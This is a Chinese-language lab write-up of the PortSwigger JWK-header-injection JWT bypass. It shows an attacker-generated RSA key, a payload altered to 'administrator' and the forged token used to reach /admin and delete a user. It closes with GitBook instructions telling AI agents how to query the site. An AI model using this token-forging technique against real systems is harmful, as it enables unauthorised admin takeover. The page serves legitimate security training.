> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-jwk-injection.md).
# 通过 JWK 注入绕过 JWT 身份验证
### 通过 JWK 头部注入绕过 JWT 身份验证
**实验说明**
本实验室使用基于 JWT 的身份验证机制来管理会话。/ 服务器接受 **`jwk`** 参数在 JWT 头中，这使你可以直接嵌入用于检查签名的公钥。
不过，实现存在漏洞：服务器 **不会检查所提供的 JWK 密钥是否来自可靠来源**。因此，可以伪造一个使用其自身密钥对签名的令牌。
实验目标：
* 获取 `/admin` 管理面板
* 删除用户 **carlos**
提供的标识符：
* `wiener:peter`
{% code overflow="wrap" %}
```bash
eyJraWQiOiJjZGJkMzY0YS1hNWNmLTRmOTAtOTk0My1iNzVmYTZkMGMxMWMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0NDY1Niwic3ViIjoid2llbmVyIn0.cRKsz1SMVo7CGKWYqkDlGyOerxLji2MXfMR79-vM25A8TWM2OGUqaFplZEq0VXd-jy7ZgJnNtz7mbxWZW9kvJBw9wOfTs4PaW5CsOpnm4IO65BvRhS79aluT5Ebn_z1FrexPmG_FMI2qpM2ffSHZmZv_7W0mNEiu0NQzS3oGJJ3aE-wyOhKhHDIlbfjbmYdEON9vx0nXfRAuSVUVVAvq9HySAluVrKlatGDuauoUydtAZFZ6tEiFeCO1J26N_jtnLxmGCOAIRw_1_AVwsMYPUS9qj3DCAKf_MIXaDBCS4xybshAR-c3pfHB0Ph6TiJ_cIc2yme8bVjuDA3PCKM1IEA
```
{% endcode %}
\*\* 初始 JWT 分析\*\*
所提供的 JWT 使用 **RS256** 算法，表明它使用的是非对称签名（私钥用于签名，公钥用于验证）。
头部（提取）：
* `alg`: RS256
* `kid`: 密钥 ID
载荷：
* `sub`：wiener
* `iss`: portswigger
* `exp`: 过期时间戳
**生成一对新的 RSA 密钥**
使用 **JWT 编辑器**，会生成一把新的 RSA 密钥。/ 该密钥包含：
* `n` （模数）
* `e` （指数）
* `d`, `p`, `q`，等等。
* 一个新的 `kid`
这对密钥完全由攻击者控制。
```json
{
"p": "7VxLt3jlCTSdv7prpyICjgt68c3M5u4MplvvN5d3a9MPzVGHy67q-9mtOkTc3iuS-zWf82EEA3TpJuiUEx5HN8mmlWJTwtV3GmOBHj_iaxj2TZEkjKOzEea73xZH87XX1K6snfA6eEK42rYVXpKmV5XGZ-KC2xA0wFAsCwK1rtU",
"kty": "RSA",
"q": "1hu3Bt9xHZD3ROydLWQnjqYsDt19XF0XNpWSdXUSOaI_FWmyliegvgF8CYmS6vP0lHDedi90GgejcTnWQSTQ6c4UGzkO0z5dlz72IIfBo7ZGOtLlQIuBfKFYUPZBPdt-bNKug_ReII7oj9G-AywBTas7NUY0GJRTBzW6BGi-9-E",
"d": "Cqif4xcqhrkU_K_8RIiR4WL9VwzJ4K9hz8JQJx0XyBQrKxM197tEcOPMUeBOff3xnwgilj4bVllaknYZqBfRnc6rw-5JBbjqBpKfuQbev1DXBmx-tMTM49XNXCOj5kU_0ntORgTCRrGrHz9BqWGo1A4D43hk4QH2lW04QU8-fNZCbnhQ20J_LNpPcf1TYclMioVViA7_hoVCq7pEBu4upU-wlF3d5vIPNcKT7_PezJ7XoXklTibCHd8_5GpxlAEVrVmtXn_e4rUVlqgz7YFD2IwIipYS2Niu09BrYcly0p5YYaLFc47uNyqCxyh909i03DUNHQDMSnPN8uLw0Us5IQ",
"e": "AQAB",
"kid": "91a29816-fb22-4e6a-a857-e58aab82febc",
"qi": "JsV1YLq9JkjFGsIwuewdLXp54xYdnUser-Agent1B_Y3Pm-cWAGB7KSg2J913iZvy5X3Wf_barFz7Fl6GU5VM9NqV8-4FLjEJbO2dMYMfzeqzXE21VkVVLV_egRzMj1ULjRNcz7h89NwJ3UkAbS52fCvXlZz5LnGcn84XjLV-QZm4EtNLoo",
"dp": "q6LX5Z34EIYJpACLo9mF-2z1xDBLAJoWb51_B7XxVvjSLmfMSE7-AIvRJZdyFv1vVVPbi8QVgOJjTg1UNdbpLMAWQ2NMqlBtxZk6XsNXWJY-VKylv0UIUeOE6rZT5TkTDuoYTETQIvIsdYrBPRfSTPcy9x_l-75mRsIyduvIsNk",
"dq": "ZrvJqHySNBOY8fNuv5bs_B9zyHYybp0kREakjcNsyUa2ajnbPP0qvcDMmW7vldkUpB08QQ0n8k1z-SI9UeiubWE6eI16NZYZJjdJtfYtzbXqINOMuNm3eeuZCs_-IgYttV2p6xrYB1tK76c-OxtkTLY6pKdY2-pfpHf9F5yC9UE",
"n": "xoTZurTfaq6fa_IHNDTr72cgNt1918ADbf5bTMEUQYwDXUdkYHzbXK_JaVZnJjV7VTsQ41TICA2ZXkhJ7mRXfqp3P-97TINyT_dvxyZzp5Mvp39PKAhqHsneIRD49GN10oCSxED9bplQVNuP7xJnUzMyJN65AQZ2pv2OzF0JViV37m80rvmM2gZRAq_OsZx8UJczaBYo2WAB5q4OQursOnUEv17_Hdv3PyBwkekHYYbjZNqu_g7ltmog53SIRtpXNP4hOTQ78SlrEEDVAw7LQ0TVQ1zA3XgoND-1VFldznY2cgjM56lLpy1oQErqBIllMERCyRMBe-ebMaR893QsNQ"
}
```
**载荷修改**
该 `sub` 字段被修改以篡夺管理员的身份：
```json
{
"iss": "portswigger",
"exp": 1767544656,
"sub": "administrator"
}
```
**将 JWK 注入头部**
在 JWT 的头部，添加了一个 **`jwk`** 字段。
它包含与用于签署令牌的私钥对应的 RSA 公钥。
因此，JWT：
* 声明了它自己的验证密钥，
* 使用关联的私钥签名，
* 并且在密码学上保持一致。
服务器接受此密钥，而不检查其来源。
**令牌签名**
JWT 使用之前生成的私钥签名。/ 因此，该签名有效 **根据嵌入在** 头部中的 JWK 密钥。
{% code overflow="wrap" %}
```bash
eyJraWQiOiI5MWEyOTgxNi1mYjIyLTRlNmEtYTg1Ny1lNThhYWI4MmZlYmMiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsImtpZCI6IjkxYTI5ODE2LWZiMjItNGU2YS1hODU3LWU1OGFhYjgyZmViYyIsIm4iOiJ4b1RadXJUZmFxNmZhX0lITkRUcjcyY2dOdDE5MThBRGJmNWJUTUVVUVl3RFhVZGtZSHpiWEtfSmFWWm5KalY3VlRzUTQxVElDQTJaWGtoSjdtUlhmcXAzUC05N1RJTnlUX2R2eHlaenA1TXZwMzlQS0FocUhzbmVJUkQ0OUdOMTBvQ1N4RUQ5YnBsUVZOdVA3eEpuVXpNeUpONjVBUVoycHYyT3pGMEpWaVYzN204MHJ2bU0yZ1pSQXFfT3NaeDhVSmN6YUJZbzJXQUI1cTRPUXVyc09uVUV2MTdfSGR2M1B5QndrZWtIWVlialpOcXVfZzdsdG1vZzUzU0lSdHBYTlA0aE9UUTc4U2xyRUVEVkF3N0xRMFRWUTF6QTNYZ29ORC0xVkZsZHpuWTJjZ2pNNTZsTHB5MW9RRXJxQklsbE1FUkN5Uk1CZS1lYk1hUjg5M1FzTlEifX0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0NDY1Niwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JIAolQZDPvtAL91fLvyuYGjz8CKi1S8vntwWZLdeaa92tb8fWl2ZAg1W5jHR5xqcFDQHDXiAreCt2N60FHpGVB3XM5Goddbn7H3rC_xNYcHLzi8uj4HvwnJfPsFQY5COJAGbAGvN0Df3nSRZXM25RA3tlEHtI16GOFGiLTKFjypoV9Y1sMoF6Uf3J7TFxq-l3c8agzWLOxvbHUgyKlM42aT4Ac12PeDd8cyMbcquDfrsQRlpYJWG215hkNN8LNYiZJd0mhP__YmMj6uFIB2gNdhZnIteGdguzcZWWv5008xhy2E8cHEDkvqExb6aVTtbWcP8zDhXbHYSUu-l59cLXQ
```
{% endcode %}
**结果**
服务器接受伪造的 JWT。/ 访问 `/admin` 面板将授予管理员权限。
用户 **carlos** 随后可以将其删除，从而验证实验
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-jwk-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.